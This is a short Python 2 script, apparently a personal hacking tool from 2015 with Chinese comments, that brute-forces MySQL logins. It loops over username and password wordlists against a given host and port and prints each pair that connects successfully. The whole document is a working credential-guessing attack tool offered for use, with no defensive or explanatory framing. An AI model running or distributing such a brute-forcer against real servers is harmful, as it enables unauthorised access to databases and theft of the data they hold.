缺点:
不支持网段
单线程
# -*- coding: utf_8 -*-
# Date: 2015/5/13
# author:sanr
import MySQLdb
import os
import sys
def README():
print '+' + '-' * 50 + '+'
print '\t Python MySQL爆破'
print '\t author : sanr'
print '\t Time:2015-5-13'
print '\t mysql默认字典在程序目录mysql目录'
print '+' + '-' * 50 + '+'
if len(sys.argv) != 5:
print os.path.basename(sys.argv[0]) + " 127.0.0.1 3306 user.txt pass.txt"
sys.exit()
def mysql_brute(name,pwd):
db = None
try:
db = MySQLdb.connect(host=sys.argv[1],user=name,passwd=pwd,db='mysql',port=int(sys.argv[2]))
print '破解成功: %s %s'% (name,pwd)
except:
pass
finally :
if db:
db.close()
if __name__ == '__main__':
README()
userlist = [i.rstrip() for i in open('mysql/'+sys.argv[3])]
passlist = [j.rstrip() for j in open('mysql/'+sys.argv[4])]
for name in userlist:
for pwd in passlist:
mysql_brute(name,pwd)